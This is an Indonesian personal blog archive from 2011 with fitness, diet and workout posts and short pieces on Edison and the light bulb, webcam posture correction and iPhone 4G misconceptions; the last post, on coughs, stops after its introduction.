2011-09-12T19:06:00.000-07:00

Denny Santoso adalah seorang ahli nutrisi, yang juga adalah distributor Ultimate Nutrition, sebuah merk suplemen kesehatan terkenal di dunia. Berikut ini adalah pendapatnya tentang diet sehat:

Banyak orang yang berusaha untuk menerapkan pola diet sehat dengan banyak tujuan. Ada yang ingin menurunkan berat badannya, ada yang ingin menurunkan kadar kolesterol darahnya yang tinggi, dan ada pula yang ingin menjadi lebih sehat. Apapun tujuan Anda, apakah Anda yakin diet sehat yang Anda jalani saat ini sudah benar-benar sehat?

Salah satu hal yang paling menakjubkan adalah ketika para ahli kesehatan menemukan bahwa coklat adalah makanan sehat yang baik bagi jantung. Setelah mengetahui fakta ini, banyak orang (mungkin Anda salah satunya) berduyun-duyun memenuhi keranjang belanjaan di supermarket dengan puluhan batang coklat yang akan Anda jadikan snack sehat Anda di rumah. Tapi tunggu dulu…apakah yang Anda lakukan sudah benar?

Berikut adalah beberapa kesalahan dalam diet sehat yang paling umum terjadi dan bagaimana Anda bisa memperbaikinya untuk menyusun sebuah pola diet yang lebih sehat.

Satu Makanan “Ajaib”
Salah satu jenis diet menjanjikan bahwa Anda dapat menurunkan 10 kg dalam seminggu dengan makan sebanyak yang Anda inginkan, asalkan yang Anda makan adalah sup kubis. Atau grapefruit. Atau buah-buahan saja.

Dengan tidak makan makanan yang beraneka ragam, Anda rentan terhadap kekurangan gizi dan juga kejenuhan terhadap jenis makanan Anda. Tidak ada satu jenis makanan yang mengandung semua nutrisi yang dibutuhkan tubuh.

Vegetarian
Lebih dari 7 juta orang di Amerika mengikuti diet vegetarian. Banyak orang menjalani diet vegetarian untuk menjadi lebih sehat dan mengurangi risiko obesitas, diabetes, dan penyakit jantung. Namun demikian, sangat banyak orang yang melakukan pola diet vegetarian dengan asal-asalan, tanpa mempertimbangkan apakah kebutuhan kalori dan nutrisi mereka terpenuhi atau tidak.

Jika Anda memilih pola diet vegetarian sebagai diet sehat Anda, maka pastikan Anda mendapatkan cukup protein, karbohidrat, lemak baik, vitamin dan mineral melalui beraneka pilihan makanan yang masih memungkinkan untuk Anda konsumsi.

Terlalu Banyak “Makanan Sehat”
Banyak penelitian yang mengungkapkan manfaat dari sederet makanan sehat. Coklat, anggur merah, minyak zaitun, alpukat, dan kacang-kacangan, semua memiliki kelebihan tersendiri untuk kesehatan. Tapi ini tidak berarti lebih banyak adalah lebih baik.

Misalnya, coklat, minyak zaitun, alpukat, dan kacang-kacangan, semua tinggi kalori. Pernah suatu ketika ada seseorang yang makan hingga 3 buah alpukat setiap hari karena dia mendengar bahwa alpukat baik untuk jantung. Akan tetapi, yang tidak dia sadari adalah bahwa dia telah memasukkan setidaknya 500 sampai 600 kalori ke tubuhnya setiap hari, hanya dari alpukat saja. Oleh karena itu, intinya adalah segala sesuatu sebaiknya berada dalam level “moderat” atau “sedang”. Artinya, segenggam kacang sudah cukup, bukan menghabiskan sebungkus besar.

No Carbs, No Fat
Karbohidrat memang sering dijadikan “kambing hitam” dari banyak gangguan kesehatan. Mulai dari obesitas, diabetes, hipertrigliserida, hingga penyakit jantung bermula dari asupan karbohidrat berlebih. Tapi ingat, karbohidrat adalah sumber energi utama bagi tubuh kita. Tetap konsumsi karbohidrat dalam jumlah yang cukup, tidak berlebih, dan pilihlah sumber karbohidrat yang baik, yaitu karbohidrat kompleks, seperti dari biji-bijian, gandum, beras merah, oatmeal, serta sayuran dan buah-buahan kaya serat.

Begitu pula dengan lemak. Orang sering mengidentikkan diet sehat dengan diet rendah lemak. Bahkan produk-produk berlabel “fat free” atau bebas lemak kian menjamur. Padahal, lemak adalah komponen dari setiap sel dalam tubuh kita. Agar sel-sel mampu melakukan pekerjaan dengan efektif, kita perlu mengkonsumsi lemak dalam makanan kita. Hanya saja, pilihlah sumber lemak sehat, yaitu lemak tak jenuh, seperti kacang-kacangan, biji-bijian, dan minyak nabati seperti canola atau zaitun, ikan tuna, salmon, dan lainnya.

Nah, sekarang Anda tahu bahwa pola diet yang sering diklaim sebagai “diet sehat” belum tentu benar-benar sehat. Yang terbaik adalah dengan memberikan asupan nutrisi yang seimbang ke dalam tubuh Anda.

Latihan Otot Paha Menurut Ade Rai

2011-09-12T14:45:00.000-07:00

Otot paha terdiri dari otot paha bagian depan dan otot paha bagian belakang. Paha adalah bagian badan yang memiliki otot paling banyak dan paling besar dibanding bagian lain badan kita (memiliki presentasi kurang lebih 50% dari seluruh otot badan). Bagi seorang binaragawan memiliki otot paha yang besar, kuat dan proporsional sangat penting bagi penampilan badan bagian bawah (pinggang ke bawah).

Biasanya seorang pemula cenderung untuk lebih memperhatikan dan berkonsentrasi pada perkembangan otot-otot badan bagian atas (otot dada, punggung bahu dan lengan). Namun setelah berapa waktu melakukan latihan secara rutin dan perkembangan otot mulai didapat maka kita akan segera sadar bahwa tubuh bagian atas kita bertambah besar dan kuat, sedang kaki kita jadi terlihat kecil. Sehingga badan jadi tidak proporsional, bagian atas besar dan kuat, sedang penopangnya yaitu kaku kurang menunjang. Tentu kondisi ini kurang bagus dilihat.

Melatih otot paha biasanya sedikit lebih berat dibandingkan melatih jenis otot lain. Seperti disebutkan tadi karena otot paha itu sangat banyak dan besar maka tidak cukup hanya dengan melakukan latihan dengan beban yang berat saja, tetapi juga harus dibarengi dengan jumlah latihan yang sesuai dengan kebutuhan untuk memberikan cukup stess kepada otot paha. Sebab jika kita melakukan latihan paha tidak maksimal maka stess yang diterima otot juga tidak optimal akibatnya perkembangan otot tidak seperti yang diharapkan.

Dalam melatih otot paha kita harus melakukan latihan sampai titik maksimal (sampai habis) untuk memperbesar, mempertebal dan menambah massa otot. Yang dimaksud latihan sampai titik maksimal adalah kita melakukan angkatan sampai berat maksimum yang dapat diangkat, demikian juga dengan repetisi, kita melakukan pengulangan angkatan sampai kita tidak bisa atau tidak kuat mengangkat lagi.

Kesalahan yang biasanya dilakukan oleh pemula adalah bahwa ia merasa sudah melatih otot paha secara maksimal, padahal belum. Hal ini terjadi karena otot paha sangat besar dan banyak jadi untuk memberi stress relatif lebih berat dibanding otot lain.

Jadi satu-satunya cara untuk memiliki otot paha yang besar dan kuat kita harus melakukan latihan sampai titik maksimum. Jangan berhenti karena kita merasa lelah, tetapi berhentilah pada saat memang kita sudah tidak kuat mengangkat lagi.

Mengingat cara latihannya berat dan melelahkan maka sangat penting jika kita memiliki partner. Dengan adanya partner yang membantu, kita dapat lebih merasa aman dan lebih yakin untuk mengangkat beban seberat mungkin dan repetisi sebanyak mungkin. Bahkan biasanya partner latihan menambah semangat dan kita jadi lebih ngotot untuk berlatih dengan lebih optimal. Namun harus selalu diingat bahwa sama dengan latihan tubuh lain, latihan bagi otot paha yang paling penting kita perhatikan adalah bahwa kita harus melakukan latihan dengan gerakan yang benar. Jadi tehnik latihannya harus benar dulu. Untuk minggu-minggu awal mulailah melakukan latihan paha, sebaiknya angkat saja beban sesuai kemampuan dulu. Lakukan latihan dengan lebih berkonsentrasi pada gerakan-gerakan yang dilakukan.

Rasakan bagaimana gerakan latihan mengenai otot yang diinginkan. Setelah cukup menguasai gerakan barulah mulai melatih dengan beban berat dan berkonsentrasi untuk mengembangkan otot. Jika dari awal, sebelum menguasai tehnik angkatan kita langsung ngotot mengangkat beban berat, akibatnya bukan kaki yang besar dan kuat yang didapat malah kemungkinan cedera yang tinggi.

Untuk mendapatkan bentuk tubuh ideal kita harus melatih otot paha kita sedemikian rupa agar bentuk dan besarnya sesuai dan proporsional dengan badan bagian atas. Selain melakukan latihan yang benar untuk menambah keindahan otot paha, karena selain besar dan kuat, otot paha yang ideal juga harus memiliki definisi yang jelas antara masing-masing otot kita juga harus melakukan diet yang benar untuk menguragi kandungan lemak dalam tubuh.

Untuk membantu, latihan dibagi atas :

Paha depan (quads)

Berbeda lengan binaraga tempo dulu yang sering malas melakukan latihan otot paha (saat ini di Indonesiapun masih banyak yang enggan melakukan latihan), maka untuk membantu menaikkan motivasi, perlu diketahui bahwa latihan otot paha merupakan salah satu latihan anabolik, artinya sangat merangsang tubuh untuk memproduksi hormon-hormon anabolik secara alami. Secara otomatis akan membantu meningkatkan massa otot lain. Perlu diketahui pula bahwa paha secara keseluruhan memuat sekitar 50% dari seluruh massa otot tubuh jadi bagi para pencinta binaraga yang ingin menambah massa otot tubuh secara keseluruhan janganlah menghindari melatih otot ini.

Otot ini sangat berperan dalam kegiatan melompat, berlari dan mendorong khususnya dalam olahraga atletik, bola basket, dan bola voli, sepak bola dan penting untuk menendang misalnya pada olahraha sepak bola, karate dan membantu dalam menambah kecepatan dalam olahraga renang.

Keuntungan bagi para wanita yang melakukan latihan otot ini adalah selain menambah kekuatan juga menambah keindahan karena beberapa macam latihan untuk otot paha juga mempengaruhi otot-otot sehingga pantatpun turut menjadi kencang.

Paha Belakang (Hamstring)

Dalam olah raga binaraga, latihan otot ini membantu menyokong latihan lain dalam banyak latihan mengangkat seperti deadlift, shrug dan lain-lain. Bagi atlet binaraga, latihan otot ini juga penting karena memberi bantuan dalam mendefinisi otot bagian belakang.

Dalam olahraga lain, latihan ini juga penting seperti dalam olahraga angkat berat seperti clean and snatch, clean and jerk, dan deadlift. Juga membantu dalam olahraga dengan lompatan, senam, dan berbagai gerakan dalam gulat. Otot ini pun sangat penting dalam memulai start dalam olahraga atletik seperti sprint. Bersama dengan otot paha sepan dan otot pantat, latihan ini akan sangat membantu wanita untuk menambah berat badan dan menambah keindahan.

Otot Betis

Dalam melatih otot betis tidak dipisahkan menjadi bagian yang berbeda. Jadi latihan yang dilakukan berlaku untuk keseluruhan otot betis.

Binaragawan terutama binaragawan pemula biasanya kurang memberi perhatian terhadap pertumbuhan otot betisnya. Padahal dalam suatu pertandingan otot betis bisa menjadi kunci keberhasilan untuk mencapai kemenangan. Otot betis biasanya tidak terlalu baik memberi respon terhadap latihan yang kita lakukan.

Walupun seseorang memiliki genetik otot betis yang besar, namun otot betis baru dikatakan baik jika selain besar, ia juga terdefinisi dengan baik. Kesulitan dalam membentuk otot betis terjadi karena pada dasarnya secara alami betis telah mendapat tekanan besar dalam kegiatan kita sehari-hari. Karena sering menerima tekanan otot betis sangat kuat, sehingga jika ia tidak menerima tekanan yang sangat kuat (lebih kuat dari yang biasa diterima) dan intensitanya tidak tinggi, maka ia tidak akan memberi respon seperti yang kita harapkan. Jadi latihan otot betis baru efektif jika dilakukan sebanyak mungkin dan seberat mungkin. Ketekunan adalah kunci utamanya.

Otot Paha:

1. Squats
Merupakan latihan yang sangat baik, kalau tidak dikatakan yang terbaik. Dapat dilakukan dengan dua macam yakni dengan smith machine atau dengan beban bebas (free weight). Smith machine sangat membantu menyeimbangkan beban dan baik juga bagi pemula sehingga dapat berkonsentrasi pada otot yang dilatih. Posisi telapak kaki sebaiknya sedikit lebih lebar dari bahu. Tekuk lutut dan turunkan badan sampai sejajar atau lebih rendah dari garis paralele dengan lantai. Kembali ke posisi semula.

Tips :

Badan jangan terlalu dicondongkan ke depan karena akan sangat membebani punggung bawah dan juga mengurangi tekanan pada paha. Jagalah agar pinggang kita senantiasa tegak.

2. Leg Presses
Merupakan salah satu latihan yang sangat baik untuk membangun otot paha sebab otot paha dapat diisolasi sehingga tidak ada otot lain yang terlibat. Posisi kaki selebar atau sedikit lebih lebar dari bahu dan turunkanlah beban sejauh kita dapat. Hentikan proses penurunan beban ketika pinggang kita menjadi terlalu tertekan atau pinggang kita ikut terangkat dari tempat duduk. Kembali kita dorong beban ke posisi awal.
Tips :

Untuk mendapat efektivitas maksimal dari latihan, gunakanlah beban yang memungkinkan otot paha kita untuk melakukan gerakan penuh sampai ke bawah atau “full range of motion”. Kadang kita membebani diri dengan beban yang terlalu berat supaya terlihat hebat, padahal hasilnya, malah menjadi kurang baik karena gerakannya yang tidak sempurna.

3. Lunges
Dengan memegang barbell, ambil langkah panjang dan lakukan gerakan ‘lunges’ sehingga lutut kaki yang berada di depan tertekuk. Dorong kembali ke posisi awal. Ulangi pada kaki yang berlawanan.

4. Leg Extensions
Latihan ini dapat meningkatkan definisi otot paha bagian depan terutama otot yang berada tepat di atas lutut. Duduk pada bangku leg extension dan posisikan kaki di belakang bantalan penyangga. Dorong dan ekstensikan kaki (luruskan) setinggi mungkin, tahan sebentar lalu kembali ke posisi semula.

Tips :
Jangan melakukan gerakan “cheating” dengan mengangkat pinggul dari tempat duduk. Kita dapat memvariasikan sedikit latihan ini dengan memposisikan tumit. Kita dapat memposisikan tumit agak ke luar atau agak ke dalam.

Jogging Mampu Menaikkan Berat Badan

2011-09-12T14:28:00.000-07:00

Bagi Anda yang ingin menambah berat badan dan massa otot, mungkin Anda sering mendapat saran agar Anda menghindari latihan kardio, seperti jogging. Namun demikian, sebenarnya latihan kardio tetap perlu Anda lakukan untuk menjaga kadar lemak dalam tubuh Anda, serta menjaga kesehatan jantung Anda. Kali ini kita akan membahas berbagai hasil penelitian yang menunjukkan bahwa ternyata jogging, salah satu latihan kardio paling populer, mampu memberikan manfaat positif bagi Anda yang ingin menambah berat badan dan massa otot bebas lemak.

Meningkatkan Nafsu Makan
Salah satu alasan kenapa jogging dapat membantu Anda menambah berat badan adalah bahwa jogging dapat merangsang nafsu makan sehingga seseorang yang biasanya memiliki nafsu makan yang kurang bisa makan lebih banyak. Ini berdasarkan sebuah penelitian yang dilakukan di tahun 2010 lalu dan diterbitkan dalam “Journal of Sports Medicine and Physical Fitness”. Oleh karena itu, suplemen penambah berat badan (gainer) akan benar-benar membantu memasok kalori setelah latihan, terutama setelah sesi latihan jogging yang membakar cukup banyak kalori, sehingga jika dikonsumsi dengan tepat akan mampu membantu menambah berat badan dan massa otot dengan efektif.

Mempercepat Pemulihan

Alasan lain jogging dapat bermanfaat bagi mereka yang berusaha untuk menambah berat badan adalah karena kemampuannya untuk meningkatkan pemulihan setelah sesi latihan beban. Selama latihan beban, sejumlah besar asam laktat cenderung menumpuk dalam aliran darah dan harus dibersihkan untuk memastikan kinerja yang optimal dalam sesi latihan berikutnya. Penelitian dalam jurnal “Medicine and Science in Sports” menemukan bahwa jogging adalah salah satu metode yang paling efektif membersihkan asam laktat dari aliran darah, yang dapat memungkinkan performa latihan seseorang menjadi lebih baik dalam latihan beban di sesi berikutnya.

Meningkatkan Sensitivitas Insulin

Alasan lain bahwa jogging dapat memberikan manfaat untuk memperoleh otot yang bebas lemak adalah karena efeknya pada sensitivitas insulin. Sensitivitas insulin memiliki efek yang cukup besar pada kemampuan seseorang untuk memasok nutrisi dalam aliran darah, dan peningkatan sensitivitas insulin akan menyebabkan lebih banyak nutrisi yang dikirim ke otot-otot Anda dan mengurangi menyimpan lemak. Sebuah penelitian dalam jurnal “Medicine and Science in Sports and Exercise” menunjukkan bahwa latihan aerobik, seperti jogging, memiliki efek positif yang signifikan terhadap sensitivitas insulin.

Jangan Berlebihan

Sementara jogging telah terbukti memiliki manfaat bagi mereka yang ingin menambah massa otot dan berat badan, namun melakukan jogging terlalu banyak dapat memberikan dampak kurang baik untuk mencapai tujuan Anda. Alasannya adalah bahwa jogging akan mengaktifkan zat yang dalam “Journal of Applied Physiology” disebutkan dapat secara drastis menghambat sintesis protein. Jadi jogging yang berlebihan harus dihindari bagi Anda yang ingin menambah berat badan dan massa otot. Cukup lakukan jogging ataupun latihan kardio lainnya dalam porsi moderat, yaitu sekitar 2-3 kali saja dalam seminggu.

Latihan Untuk Otot Perut

2011-09-02T16:29:00.000-07:00

Berikut saya posting sebuah artikel dari Ade Rai tentang bagaimana membentuk otot perut agar menjadi sixpack.

Salah satu pertanyaan yang muncul adalah bagaimana caranya agar perut dapat terlihat rata dan tidak terlihat gendut. Pertanyaan ini datang, selain yang paling umum dari wanita, juga dari pria yang merasa sudah latihan dan otot tubuh yang lain sudah memperlihatkan hasil namun tidak demikian halnya dengan otot perut.

Ada satu anggapan yang salah mengenai otot perut ini yang biasanya dialami oleh wanita. Banyak yang beranggapan bahwa jika kita kurus, makan sesedikit mungkin dan tanpa berolahraga, maka perut akan terlihat kecil dan baik. Namun tidak demikian kenyataannya. Memang jika kondisi kita sangat kurus, perut terlihat cukup rata, namun jika kita makan agak banyak sedikit saja, langsung perut terlihat sedikit membuncit, sehingga kita jadi malas makan yang tentunya tidak baik bagi kesehatan. Selain itu kita sering mendengar keluhan dari wanita yang tubuhnya sudah sangat kurus tapi tetap merasa gemuk karena perutnya walaupun tidak gemuk, tapi tidak keras dan sangat gampang terlihat buncit setelah mengkonsumsi makanan.

Sedangkan yang sering dialami oleh para pria adalah mereka sudah berlatih keras dan otot tubuh yang lain sudah menunjukkan hasil dengan bertambah besar dan kuat namun otot perut masih tetap terlihat gemuk dan tidak menarik. Untuk otot tubuh yang lain seperti dada, lengan, kaki, bahu, dll, jika dilatih dengan keras dan konsumsi protein mencukupi maka otot akan berkembang dan penampilannya jadi lebih baik. Namun agar otot perut terlihat baik dan keras seseorang harus terlebih dahulu memiliki level bodyfat yang rendah. Jika level bodyfat masih tinggi, berapapun latihan yang anda lakukan untuk otot perut akan sulit untuk menunjukkan hasil.

Otot perut akan terlihat baik dan keras jika kita berlatih secara rutin dan teratur dan disertai dengan diet kalori seimbang, protein dan karbohidrat mencukupi, serta lemak rendah.

Mengapa orang kurus tapi perutnya tidak keras dan mudah menjadi buncit? Hal ini terjadi karena otot perut yang dimiliki kurang. Jika kita memiliki otot perut yang cukup, maka akibat dari makan yang sedikit berlebihan saat akhir pekan, atau pesta tidak akan membuat perut kita langsung terlihat buncit karena ada otot yang menahannya. Selain itu otot perut membuat tubuh terlihat lebih baik dan keras. Bagi para wanita yang ingin tampil keren dengan baju-baju yang memperlihatkan perut cobalah melakukan latihan perut secara rutin dan mengkonsumsi makanan dengan pola yang baik dan sehat. Perut akan terlihat lebih keras, dan seksi, serta tubuh juga jadi lebih sehat.

Otot perut terdiri dari otot perut bagian atas, otot perut bagian bawah, dan otot perut bagian samping. Lakukanlah latihan untuk ketiga bagian otot perut ini. Beberapa latihan perut yang dapat dilakukan antara lain:

Sit ups
Latihan untuk otot perut bagian atas

Duduklah di matras/karpet lalu tekuklah kaki anda, jika berlatih pada sit ups bench taruhlah kaki pada tempat yang tersedia. Silangkan tangan di dada.

Kencangkan perut anda, lalu turunkan badan ke bawah, tahan sebentar, lalu kembali ke posisi semula.

Jangan melakukan gerakan sampai punggung menyentuh lantai/bench.

Lakukan gerakan dengan perlahan dan terkontrol.

Saat kembali ke posisi awal otot perut tetap dikencangkan dan rasakan tekanan pada otot perut saat posisi badan mendekati paha.

Crunches

Latihan untuk otot perut bagian atas

Berbaringlah di lantai dan taruh betis anda pada bangku datar.

Atur jarak anda dengan bangku agar paha anda kurang lebih tegak lurus terhadap lantai.

Taruh tangan di samping kepala.

Perlahan-lahan angkat bungkukkan badan anda ke depan seperti berusaha untuk menyentuh paha anda. Tahan sebentar lalu kembali ke posisi awal.

Lakukan gerakan perlahan-lahan dan terkontrol.

Leg raises
Latihan untuk otot perut bagian bawah

Berbaringlah di bangku datar dan tangan berpegangan pada ujung bangku dibelakang kepala anda.

Dengan posisi kaki sedikit bengkok, angkat kaki sehingga membentuk sudut 45 derajat.

Tahan sebentar lalu perlahan kembali ke posisi semula.

Usahakan agar kaki tidak menyentuh bangku.

Side to side
Latihan untuk otot perut bagian samping

Berdiri tegap dengan kedua tangan memegang dumbbell.

Posisi tangan lurus di samping badan.

Perlahan-lahan gerakkan tubuh ke kiri sampai otot samping perut merasakan tekanan.

Tahan sebentar, kembali ke posisi awal.

Perlahan-lahan gerakkan tubuh ke kanan sampai otot samping perut merasakan tekanan.

Kembali ke posisi awal.

Saat tubuh bergerak ke samping jaga agar tubuh tetap tegak dan tidak membungkuk atau condong ke depan.

Lakukanlah latihan perut kurang lebih tiga kali seminggu dibarengi dengan program latihan beban lainnya dan tentunya diet dengan kalori seimbang.

Plank, Latihan Efektif untuk Wanita

2011-09-02T03:40:00.000-07:00

Banyak wanita, bahkan mungkin Anda, kurang tertarik untuk melakukan body weight training atau latihan dengan menggunakan berat tubuh sebagai beban, karena menganggap bahwa body weight training yang bisa dilakukan hanyalah push up ataupun sit up. Nah, kali ini Anda akan mengetahui 2 jenis latihan terbaik selain push up dan sit up yang bisa Anda lakukan, yang tidak hanya membantu membentuk tubuh ideal dan seksi, tetapi juga meningkatkan kekuatan Anda.

Latihan Plank untuk Wanita
Plank adalah latihan yang efektif untuk membantu melatih stabilitas bagian inti tubuh Anda, dan juga menguatkan otot perut dan punggung bawah Anda, bersamaan dengan melatih otot torso dan kaki Anda. Berikut ini ada 2 latihan plank yang bisa Anda lakukan untuk membentuk tubuh ideal.

Walk Out Plank
Untuk membuat tubuh Anda bugar dan cukup kuat untuk menjalankan latihan yang lebih sulit seperti push up, maka Anda harus memiliki otot inti yang kuat. Otot inti adalah bagian otot yang sangat penting dalam aktivitas Anda sehari-hari, mulai dari berdiri, duduk, berbaring, tengkurap, dan masih banyak lagi. Itulah sebabnya Anda harus meningkatkan kekuatan dan stabilitas otot inti Anda.
Walk out plank adalah salah satu cara terbaik bagi Anda untuk melatih otot inti Anda. Latihan ini disebut juga sebagai plank to push-up. Jadi untuk melakukan latihan ini, Anda mulai dari posisi plank, yaitu telungkup dengan kaki lurus, kedua tangan menempel pada matras dan tegak lurus dengan lengan. Setelah itu, satu per satu tangan diangkat hingga lengan dan tangan Anda lurus atau dalam posisi push up.
Static Plank
Sama seperti walk out plank, latihan ini juga sangat efektif. Walk out plank lebih dinamis dibandingkan dengan static plank, di mana static plank membuat Anda melakukan posisi full plank kemudian menahan posisi ini dalam jangka waktu tertentu. Latihan ini akan meningkatkan kekuatan otot inti Anda.

Untuk mendapatkan hasil yang optimal, pastikan Anda melakukan latihan-latihan di atas maupun latihan lain yang Anda lakukan dengan teknik dan gerakan yang benar, sehingga mencegah Anda dari cedera dan juga meningkatkan kekuatan otot Anda sekaligus memberikan bentuk tubuh yang lebih indah bagi Anda. Selamat berlatih!

(via: duniafitness)

Thomas Alva Edison Bukan Penemu Lampu Pijar!

2011-08-07T23:46:00.000-07:00

Sebagian besar dari kita menganggap bahwa penemu lampu pijar adalah Thomas Alfa Edison. Sebenarnya hal itu salah. Ia bukanlah penemu lampu pijar, ia hanya memperbaiki sistem kerja lampu pijar sehingga dapat digunakan lebih lama.

Perkembangan lampu pijar berawal di abad ke 19 saat Alesandro Volta menemukan Sel Volta sebagai sumber listrik. Pada tahun 1802, Sir Humpry Davy menemukan bahwa seutas logam tipis jika dialiri listrik akan menyala keputihan. Ini adalah benih pengembangan lampu pijar.
Kemudian, seorang ilmuwan yang bernama Sir Joseph Wilson Swan menciptakan lampu pijar pertama di dunia. Lampu ini mampu bertahan selama 13,5 jam sampai filamennya putus terbakar. Karena pendeknya waktu pakai, maka penemuan ini tidak berarti secara komersial.
Penemuan ini kemudian diperbaiki oleh Thomas Alva Edison, yang kemudian menciptakan lampu pijar yang lebih baik, yang mampu bertahan selama 40 jam. Pada lampu ini, ia menggunakan untaian karbon yang dipasang dalam bohlam kaca yang hampa udara. Tujuan penggunaan ruang hampa udara adalah agar filamen tidak teroksidasi, sehingga tidak mudah putus.
(dari berbagai sumber)

7 Kesalahan dalam Membentuk Perut Sixpack

2011-08-07T18:13:00.000-07:00

Anda sudah berlatih ekstra keras untuk membentuk perut sixpack, tetapi tak peduli sudah berapa banyak keringat yang keluar, Anda tetap belum melihat hasil yang Anda inginkan. Sangat sulit untuk mengikis lemak perut dengan maksimal, jika Anda tidak berlatih dengan benar.
Pria umumnya menyimpan lemak tubuh mereka di area perut. Sayangnya, kelebihan lemak jenis ini sangat erat kaitannnya dengan berbagai macam penyakit kronis, seperti penyakit jantung, tekanan darah tinggi, diabetes tipe 2, hingga kanker usus besar.

Latihan adalah cara yang sangat bagus untuk membentuk perut Anda, tetapi latihan harus dilakukan dengan benar. Berikut ini ada 7 kesalahan yang paling umum dilakukan oleh kebanyakan orang yang berlatih untuk membentuk perut sixpack mereka.

Hanya melakukan crunch dan sit up
Latihan-latihan tersebut mungkin menjadi latihan perut yang paling sering dan banyak dilakukan, karena latihan-latihan tersebut memang benar-benar bekerja untuk membentuk otot perut Anda! Namun bagaimanapun juga, otot Anda dapat beradaptasi dengan cepat untuk beberapa latihan. Jika ini terjadi, maka otot-otot Anda pun akan berhenti merespon latihan yang Anda lakukan. Melakukan perubahan pada latihan Anda setiap beberapa minggu sekali akan menjaga otot Anda tetap tumbuh dan berkembang.
Melatih otot perut setiap hari
Otot perut sama halnya dengan otot tubuh Anda lainnya, yang juga membutuhkan waktu istirahat untuk memulihkan diri dan memperbaiki diri setelah sesi latihan berat. Jadi, makin sering Anda melatih perut bukan berarti semakin mudah perut sixpack Anda terbentuk. Selain itu, latihan perut terlalu banyak juga meningkatkan risiko Anda untuk mengalami cedera punggung bawah.
Menghindari kardio
Menghindari latihan kardio adalah kesalahan terbesar jika Anda ingin membentuk perut sixpack dan memangkas lemak di perut Anda. tak peduli berapa keras latihan perut Anda, tidak ada yang namanya spot reduce, atau menghilangkan lemak di bagian tubuh tertentu saja. Anda harus kurangi lemak yang tertimbun dalam seluruh tubuh Anda. Itulah sebabnya, kardio perlu Anda lakukan.
Tidak melakukan latihan beban untuk otot lain
Untuk membentuk perut sixpack, Anda memang harus melatih otot perut Anda, tetapi otot tubuh lainnya pun sama pentingnya. Otot dalam tubuh Anda sebenarnya saling berkaitan. Tendon dari kelompok otot lainnya (misalnya latissimus dorsi dan trapezius di punggung, dan hamstring di kaki) memanjang melewati area perut Anda. Jadi, yang sebenarnya memberikan penampilan “sixpack” Anda adalah tendon yang terbentang dari kelompok otot lain dan terhubung dengan daerah perut Anda.
Tidak makan dengan baik
Meskipun latihan teratur adalah cara yang efektif untuk membakar kelebihan kalori dalam tubuh Anda, akan tetapi apa yang Anda makan juga sangat menentukan apakah Anda bisa memiliki perut sixpack atau tidak. Anda tetap harus atur pola makan Anda dengan baik. Cukupilah asupan protein harian Anda agar otot Anda bisa terbentuk dengan optimal, serta konsumsilah karbohidrat baik, lemak baik, serta kalori dalam jumlah yang cukup.
Hanya mengandalkan diet
Dengan berdiet saja tanpa melakukan latihan adalah kunci untuk kegagalan dalam meraih perut sixpack. Meskipun Anda bisa saja mengurangi berat badan secara signifikan dengan berdiet saja, sebagian besar dari berat badan yang turun itu bisa saja berupa otot, bukan lemak. Latihan akan membantu mengurangi kadar lemak tubuh Anda dan juga membentuk otot Anda. Keduanya adalah kombinasi yang Anda butuhkan untuk membentuk perut sixpack.
Tidak mencari bantuan
Jika Anda merasa sudah melakukan apapun tetapi masih belum juga mendapatkan perut sixpack yang Anda inginkan, maka inilah saatnya Anda mencari bantuan. Carilah informasi yang akurat mengenai cara latihan dan pola makan yang benar untuk membantu Anda mendapatkan perut sixpack dengan optimal.

Nah, adakah di antara ketujuh hal di atas yang masih Anda lakukan? Jika ya, sebaiknya segeralah perbaiki program latihan dan pola makan Anda agar Anda bisa dapatkan perut sixpack yang Anda idamkan dengan efektif.
(via dunia fitnes.com)

Webcam bisa memperbaiki postur tubuh

2011-08-05T20:35:00.000-07:00

Bagi anda yang sering menghabiskan waktunya di depan komputer, baik untuk kerjaan, bermain game, atau sekedar browsing, perlu diingat kalau postur tubuh ketika duduk juga sangat penting. Ini untuk mencegah adanya masalah dengan punggung anda suatu saat nanti.
Karena banyak yang sering tidak sadar dan lupa akan postur tubuhnya sementara tidak mungkin ada yang bisa mengingatkan anda terus-terusan, seorang peneliti dari Ben-Gurion University di Negev, Israel menjadi terinpirasi.

Peneliti ini membuat sistem yang menggunakan kamera webcam untuk mengetahui apakah posisi duduk anda sudah benar. Pengguna awalnya harus menaruh posisi webcam agar sesuai sehingga bisa memantau posisi duduk anda dan terus-terusan menampilkan posisi anda di layar monitor. Kemudian akan muncul umpan balik berupa gambar mengenai cara duduk yang benar sehingga pengguna bisa ingat untuk memperbaiki posisi duduknya.
Menurut pengujiannya, sistem ini meski simpel namun dapat berjalan cukup baik dan berhasil membuat pengguna duduk dengan posisi yg benar, terutama untuk wanita. jadi pilih yang mana, membeli kursi ergonomic yang sesuai dengan postur tubuh yang tentu harganya cukup mahal atau gunakan metode baru ini?
(via teknoup)

Fans Iphone Keliru.....!!!!!

2011-07-19T06:25:00.000-07:00

Saya sempat bercakap-cakap dengan beberapa orang yang sering berganti handphone dengan berbagai alasan. Ada yang mengatakan demi mengupdate teknologi, ada juga yang mengatakan untuk mengikuti tren. Pada saat teknologi 3G sedang booming, banyak masyarakat yang menganggap bahwa 3G itu adalah layanan video calling. Padahal 3G itu adalah layanan berbasis data generasi ketiga, yang salah satunya diimplementasikan dalam video calling. Kesalahan yang mirip ternyata tidak dialami oleh orang Indonesia saja. Di Amerika, banyak orang yang salah kaprah tentang layanan 4G. Kesalahan tersebut sebagian besar dialami oleh pengguan iPhone.

Sebuah survey yang dilakukan oleh retrevo, menemukan bahwa 34% pengguna iPhone menganggap bahwa telepon seluler yang mereka gunakan sudah mendukung 4G. Sedangkan pengguna android sebanyak 29% dan 24% dialami oleh pengguna layanan RIM alias Blackberry.

Itu, terjadi di Amerika, kalau di Indonesia, lebih parah lagi. Sebagian orang malah menamai iphone 4 sebagai iPhone 4G, mungkin karena sebelumnya muncul iphone 3G/S yang mendukung layanan 3G, maka pelanjutnya akan mendukung 4G he he he....

Sebagai informasi, satu-satunya operator seluler di dunia yang telah memiliki fasilitas 4G atau LTE adalah Verizon, operator seluler di Amerika Serikat. HP yang sudah mendukung layanan LG ini adalah HP produksi Samsung, LG dan Motorola. Semuanya menggunakan android

Batuk dan Cara Mengatasinya

2011-07-15T05:56:00.000-07:00

Tiga hari ini, saya diserang flu, demam dan batuk. Karena itu saya tertarik untuk mencari artikel yang berhubungan dengan batuk. Akhirnya saya dapatkan di http://devit1104.blogspot.com. Artikel itu dicopy dari koran Kompas. Ini dia artikel selengkapnya.

